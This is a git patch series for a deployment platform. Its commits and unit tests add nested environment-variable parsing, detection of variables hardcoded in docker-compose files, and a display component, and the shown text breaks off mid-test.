{ + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('DATABASE_URL'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isDisabled)->toBeFalse(); +}); + +test('locked variables are not magic variables unless they start with SERVICE_', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SECRET_KEY'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(true); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isLocked)->toBeTrue(); +}); + +test('SERVICE_FQDN with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB_5432'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API_8080'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); From 208f0eac997a516398d20509dc25aac226241234 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 25 Nov 2025 15:22:38 +0100 Subject: [PATCH 019/305] feat: add comprehensive environment variable parsing with nested resolution and hardcoded variable detection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This commit introduces advanced environment variable handling capabilities including: - Nested environment variable resolution with circular dependency detection - Extraction of hardcoded environment variables from docker-compose.yml - New ShowHardcoded Livewire component for displaying detected variables - Enhanced UI for better environment variable management The changes improve the user experience by automatically detecting and displaying environment variables that are hardcoded in docker-compose files, allowing users to override them if needed. The nested variable resolution ensures complex variable dependencies are properly handled. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../Shared/EnvironmentVariable/All.php | 56 +++ .../EnvironmentVariable/ShowHardcoded.php | 31 ++ bootstrap/helpers/parsers.php | 353 ++++++++++++++---- bootstrap/helpers/services.php | 108 +++++- bootstrap/helpers/shared.php | 52 +++ .../shared/environment-variable/all.blade.php | 27 +- .../show-hardcoded.blade.php | 31 ++ ...tractHardcodedEnvironmentVariablesTest.php | 147 ++++++++ .../NestedEnvironmentVariableParsingTest.php | 220 +++++++++++ tests/Unit/NestedEnvironmentVariableTest.php | 207 ++++++++++ 10 files changed, 1145 insertions(+), 87 deletions(-) create mode 100644 app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php create mode 100644 resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php create mode 100644 tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php create mode 100644 tests/Unit/NestedEnvironmentVariableParsingTest.php create mode 100644 tests/Unit/NestedEnvironmentVariableTest.php diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 12a4cae79..b360798ff 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -79,6 +79,62 @@ public function getEnvironmentVariablesPreviewProperty() return $this->resource->environment_variables_preview; } + public function getHardcodedEnvironmentVariablesProperty() + { + return $this->getHardcodedVariables(false); + } + + public function getHardcodedEnvironmentVariablesPreviewProperty() + { + return $this->getHardcodedVariables(true); + } + + protected function getHardcodedVariables(bool $isPreview) + { + // Only for services and docker-compose applications + if ($this->resource->type() !== 'service' && + ($this->resourceClass !== 'App\Models\Application' || + ($this->resourceClass === 'App\Models\Application' && $this->resource->build_pack !== 'dockercompose'))) { + return collect([]); + } + + $dockerComposeRaw = $this->resource->docker_compose_raw ?? $this->resource->docker_compose; + + if (blank($dockerComposeRaw)) { + return collect([]); + } + + // Extract all hard-coded variables + $hardcodedVars = extractHardcodedEnvironmentVariables($dockerComposeRaw); + + // Filter out magic variables (SERVICE_FQDN_*, SERVICE_URL_*, SERVICE_NAME_*) + $hardcodedVars = $hardcodedVars->filter(function ($var) { + $key = $var['key']; + + return ! str($key)->startsWith(['SERVICE_FQDN_', 'SERVICE_URL_', 'SERVICE_NAME_']); + }); + + // Filter out variables that exist in database (user has overridden/managed them) + // For preview, check against preview variables; for production, check against production variables + if ($isPreview) { + $managedKeys = $this->resource->environment_variables_preview()->pluck('key')->toArray(); + } else { + $managedKeys = $this->resource->environment_variables()->where('is_preview', false)->pluck('key')->toArray(); + } + + $hardcodedVars = $hardcodedVars->filter(function ($var) use ($managedKeys) { + return ! in_array($var['key'], $managedKeys); + }); + + // Apply sorting based on is_env_sorting_enabled + if ($this->is_env_sorting_enabled) { + $hardcodedVars = $hardcodedVars->sortBy('key')->values(); + } + // Otherwise keep order from docker-compose file + + return $hardcodedVars; + } + public function getDevView() { $this->variables = $this->formatEnvironmentVariables($this->environmentVariables); diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php new file mode 100644 index 000000000..3a49ce124 --- /dev/null +++ b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php @@ -0,0 +1,31 @@ +key = $this->env['key']; + $this->value = $this->env['value'] ?? null; + $this->comment = $this->env['comment'] ?? null; + $this->serviceName = $this->env['service_name'] ?? null; + } + + public function render() + { + return view('livewire.project.shared.environment-variable.show-hardcoded'); + } +} diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 3f942547f..5112e3abd 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -998,53 +998,139 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment + $environment[$content] = $value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + $environment[$parsedKeyValue->value()] = $value; + + continue; + } $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -1774,6 +1860,7 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create FQDN variable $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1784,9 +1871,22 @@ function serviceParser(Service $resource): Collection 'comment' => $envComments[$originalMagicKey] ?? null, ]); + // Also create the paired SERVICE_URL_* variable + $urlKey = 'SERVICE_URL_'.strtoupper($fqdnFor); + $resource->environment_variables()->updateOrCreate([ + 'key' => $urlKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $url, + 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, + ]); + } elseif ($command->value() === 'URL') { $urlFor = $key->after('SERVICE_URL_')->lower()->value(); $url = generateUrl(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid"); + $fqdn = generateFqdn(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid", parserVersion: $resource->compose_parsing_version); $envExists = $resource->environment_variables()->where('key', $key->value())->first(); // Also check if a port-suffixed version exists (e.g., SERVICE_URL_DASHBOARD_6791) @@ -1803,6 +1903,7 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create URL variable $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1813,6 +1914,18 @@ function serviceParser(Service $resource): Collection 'comment' => $envComments[$originalMagicKey] ?? null, ]); + // Also create the paired SERVICE_FQDN_* variable + $fqdnKey = 'SERVICE_FQDN_'.strtoupper($urlFor); + $resource->environment_variables()->updateOrCreate([ + 'key' => $fqdnKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $fqdn, + 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, + ]); + } else { $value = generateEnvValue($command, $resource); $resource->environment_variables()->updateOrCreate([ @@ -2213,55 +2326,149 @@ function serviceParser(Service $resource): Collection } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + // Use firstOrCreate instead of updateOrCreate to avoid overwriting user edits + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + // Extract and create nested variables + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + // Create nested variable with its default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + // Simple nested variable without default (only if it doesn't exist) + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + // Add nested variable to environment + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + // Look for more nested variables + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $resource->environment_variables()->updateOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->updateOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, + ]); + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$parsedKeyValue->value()] = $value; + + continue; + } $resource->environment_variables()->updateOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->updateOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - 'comment' => $envComments[$originalKey] ?? null, - ]); } } } diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 3d2b61b86..64ec282f5 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -17,9 +17,115 @@ function collectRegex(string $name) { return "/{$name}\w+/"; } + +/** + * Extract content between balanced braces, handling nested braces properly. + * + * @param string $str The string to search + * @param int $startPos Position to start searching from + * @return array|null Array with 'content', 'start', and 'end' keys, or null if no balanced braces found + */ +function extractBalancedBraceContent(string $str, int $startPos = 0): ?array +{ + // Find opening brace + $openPos = strpos($str, '{', $startPos); + if ($openPos === false) { + return null; + } + + // Track depth to find matching closing brace + $depth = 1; + $pos = $openPos + 1; + $len = strlen($str); + + while ($pos < $len && $depth > 0) { + if ($str[$pos] === '{') { + $depth++; + } elseif ($str[$pos] === '}') { + $depth--; + } + $pos++; + } + + if ($depth !== 0) { + // Unbalanced braces + return null; + } + + return [ + 'content' => substr($str, $openPos + 1, $pos - $openPos - 2), + 'start' => $openPos, + 'end' => $pos - 1, + ]; +} + +/** + * Split variable expression on operators (:-, -, :?, ?) while respecting nested braces. + * + * @param string $content The content to split (without outer ${...}) + * @return array|null Array with 'variable', 'operator', and 'default' keys, or null if no operator found + */ +function splitOnOperatorOutsideNested(string $content): ?array +{ + $operators = [':-', '-', ':?', '?']; + $depth = 0; + $len = strlen($content); + + for ($i = 0; $i < $len; $i++) { + if ($content[$i] === '{') { + $depth++; + } elseif ($content[$i] === '}') { + $depth--; + } elseif ($depth === 0) { + // Check for operators only at depth 0 (outside nested braces) + foreach ($operators as $op) { + if (substr($content, $i, strlen($op)) === $op) { + return [ + 'variable' => substr($content, 0, $i), + 'operator' => $op, + 'default' => substr($content, $i + strlen($op)), + ]; + } + } + } + } + + return null; +} + function replaceVariables(string $variable): Stringable { - return str($variable)->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + // Handle ${VAR} syntax with proper brace matching + $str = str($variable); + + // Handle ${VAR} format + if ($str->startsWith('${')) { + $result = extractBalancedBraceContent($variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback to old behavior for malformed input + return $str->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + } + + // Handle {VAR} format (from regex capture group without $) + if ($str->startsWith('{') && $str->endsWith('}')) { + return str(substr($variable, 1, -1)); + } + + // Handle {VAR format (from regex capture group, may be truncated) + if ($str->startsWith('{')) { + $result = extractBalancedBraceContent('$'.$variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback: remove { and get content before } + return $str->replaceFirst('{', '')->before('}'); + } + + return $str; } function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Application $oneService, bool $isInit = false) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index f2f29bdc6..0437aaa70 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3692,3 +3692,55 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon return true; } + +/** + * Extract hard-coded environment variables from docker-compose YAML. + * + * @param string $dockerComposeRaw Raw YAML content + * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + */ +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +{ + if (blank($dockerComposeRaw)) { + return collect([]); + } + + try { + $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + } catch (\Exception $e) { + // Malformed YAML - return empty collection + return collect([]); + } + + $services = data_get($yaml, 'services', []); + if (empty($services)) { + return collect([]); + } + + // Extract inline comments from raw YAML + $envComments = extractYamlEnvironmentComments($dockerComposeRaw); + + $hardcodedVars = collect([]); + + foreach ($services as $serviceName => $service) { + $environment = collect(data_get($service, 'environment', [])); + + if ($environment->isEmpty()) { + continue; + } + + // Convert environment variables to key-value format + $environment = convertToKeyValueCollection($environment); + + foreach ($environment as $key => $value) { + $hardcodedVars->push([ + 'key' => $key, + 'value' => $value, + 'comment' => $envComments[$key] ?? null, + 'service_name' => $serviceName, + ]); + } + } + + return $hardcodedVars; +} diff --git a/resources/views/livewire/project/shared/environment-variable/all.blade.php b/resources/views/livewire/project/shared/environment-variable/all.blade.php index f1d108703..a962b2cec 100644 --- a/resources/views/livewire/project/shared/environment-variable/all.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/all.blade.php @@ -41,19 +41,6 @@
@endif - @if ($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') -
- - Hardcoded variables are not shown here. -
- {{--
If you would like to add a variable, you must add it to - your compose file.
--}} - @endif @if ($view === 'normal')
@@ -66,6 +53,13 @@ @empty
No environment variables found.
@endforelse + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariables->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariables as $index => $env) + + @endforeach + @endif @if ($resource->type() === 'application' && $resource->environment_variables_preview->count() > 0 && $showPreview)

Preview Deployments Environment Variables

@@ -75,6 +69,13 @@ @endforeach + @if (($resource->type() === 'service' || $resource?->build_pack === 'dockercompose') && $this->hardcodedEnvironmentVariablesPreview->isNotEmpty()) + @foreach ($this->hardcodedEnvironmentVariablesPreview as $index => $env) + + @endforeach + @endif @endif @else
diff --git a/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php new file mode 100644 index 000000000..9158d127e --- /dev/null +++ b/resources/views/livewire/project/shared/environment-variable/show-hardcoded.blade.php @@ -0,0 +1,31 @@ +
+
+
+ + Hardcoded env + + @if($serviceName) + + Service: {{ $serviceName }} + + @endif +
+
+
+ + @if($value !== null && $value !== '') + + @else + + @endif +
+ @if($comment) + + @endif +
+
+
\ No newline at end of file diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php new file mode 100644 index 000000000..8d8caacaf --- /dev/null +++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php @@ -0,0 +1,147 @@ +toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe('3000') + ->and($result[1]['service_name'])->toBe('app'); +}); + +test('extracts environment variables with inline comments', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production # Production environment + - DEBUG=false # Disable debug mode +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['comment'])->toBe('Production environment') + ->and($result[1]['comment'])->toBe('Disable debug mode'); +}); + +test('handles multiple services', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - APP_ENV=prod + db: + environment: + - POSTGRES_DB=mydb +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('APP_ENV') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('POSTGRES_DB') + ->and($result[1]['service_name'])->toBe('db'); +}); + +test('handles associative array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + NODE_ENV: production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML +}); + +test('handles environment variables without values', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - API_KEY + - DEBUG=false +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('API_KEY') + ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null + ->and($result[1]['key'])->toBe('DEBUG') + ->and($result[1]['value'])->toBe('false'); +}); + +test('returns empty collection for malformed YAML', function () { + $yaml = 'invalid: yaml: content::: [[['; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection for empty compose file', function () { + $result = extractHardcodedEnvironmentVariables(''); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when no services defined', function () { + $yaml = <<<'YAML' +version: '3.8' +networks: + default: +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when service has no environment section', function () { + $yaml = <<<'YAML' +services: + app: + image: nginx +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('handles mixed associative and array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + // Mixed format is invalid YAML and returns empty collection + expect($result)->toBeEmpty(); +}); diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php new file mode 100644 index 000000000..65e8738cc --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php @@ -0,0 +1,220 @@ +not->toBeNull() + ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split)->not->toBeNull() + ->and($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables correctly extracts nested variable content', function () { + // Before the fix, this would incorrectly extract only up to the first closing brace + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO" + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated +}); + +test('nested defaults with path concatenation work', function () { + $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('REDIS_URL') + ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0'); +}); + +test('deeply nested variables are handled', function () { + // Three levels of nesting + $input = '${A:-${B:-${C}}}'; + + $result = extractBalancedBraceContent($input, 0); + + expect($result['content'])->toBe('A:-${B:-${C}}'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['default'])->toBe('${B:-${C}}'); +}); + +test('multiple nested variables in default value', function () { + // Default value contains multiple variable references + $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API') + ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api'); +}); + +test('nested variables with different operators', function () { + // Nested variable uses different operator + $input = '${API_URL:-${SERVICE_URL?error message}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL?error message}/api'); +}); + +test('backward compatibility with simple variables', function () { + // Simple variable without nesting should still work + $input = '${VAR}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR'); +}); + +test('backward compatibility with single-level defaults', function () { + // Single-level default without nesting + $input = '${VAR:-default_value}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR:-default_value'); + + $split = splitOnOperatorOutsideNested($result->value()); + + 